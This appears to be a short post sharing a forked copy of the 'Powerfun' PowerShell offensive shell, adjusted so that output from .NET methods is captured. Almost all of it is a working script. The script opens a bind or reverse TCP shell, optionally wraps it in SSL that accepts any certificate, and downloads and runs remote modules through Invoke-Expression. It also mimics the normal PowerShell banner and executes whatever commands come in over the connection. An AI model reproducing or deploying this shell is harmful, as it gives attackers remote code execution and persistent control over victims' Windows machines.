Nishang Shells in addition to its Metasploit counterpart "Powerfun.ps1" refuse to capture output from .NET methods; As such redirecting console output to a string writer fixes the problem. Helpful for running assemblies.

fork-powerfun.ps1

# Powerfun - Written by Ben Turner & Dave Hardy
# Forked for a few quick fixes.

function Get-Webclient 
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun 
{ 
    Param( 
    [String]$Command,
    [String]$Sslcon,
    [String]$Download,
    [String]$Address,
    [Int]$Port
    ) 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]$Port
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("$Address",$Port)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true") 
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("$Address") 
        $stream = $sslStream 
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {

	$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)

	[Console]::OutputEncoding = [System.Text.Encoding]::ASCII
        $ConsoleOutput = New-Object -TypeName System.IO.StringWriter
	[Console]::SetOut($ConsoleOutput)

        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

	$sendback = $sendback + $ConsoleOutput.ToString();

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
    }
}